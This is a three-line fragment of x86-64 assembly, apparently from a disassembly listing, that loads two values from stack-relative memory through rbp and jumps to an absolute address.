mov eax, dword [rbp + 0x68]
mov edi, dword [rbp + rax + 0x60]
jmp 0x7fff25d4ce64